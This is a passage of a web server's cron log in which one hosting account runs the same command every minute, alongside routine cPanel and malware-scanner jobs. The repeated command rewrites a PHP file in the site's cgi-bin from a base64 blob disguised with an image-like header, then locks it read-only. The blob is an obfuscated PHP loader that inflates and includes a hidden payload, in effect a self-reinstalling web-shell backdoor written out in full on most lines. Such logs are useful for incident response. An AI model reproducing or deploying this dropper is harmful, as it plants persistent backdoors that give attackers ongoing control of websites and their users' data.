UyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 12:51:01 server CROND[31041]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 12:52:01 server CROND[31100]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 12:53:01 server CROND[31258]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 12:54:01 server CROND[31331]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 12:55:01 server CROND[31395]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 12:55:01 server CROND[31397]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 12:55:01 server CROND[31396]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 12:56:01 server CROND[31562]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 12:57:01 server CROND[31624]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 12:57:01 server CROND[31625]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 12:58:01 server CROND[31735]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 12:59:01 server CROND[31848]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 13:00:01 server CROND[31920]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 13:00:01 server CROND[31921]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 13:00:01 server CROND[31922]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 13:00:01 server CROND[31923]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 13:01:01 server CROND[32048]: (root) CMD (run-parts /etc/cron.hourly)
Apr 11 13:01:01 server CROND[32049]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 13:01:01 server run-parts(/etc/cron.hourly)[32048]: starting 0anacron
Apr 11 13:01:01 server run-parts(/etc/cron.hourly)[32061]: finished 0anacron
Apr 11 13:02:01 server CROND[32122]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 13:03:01 server CROND[32187]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 13:04:01 server CROND[32346]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0K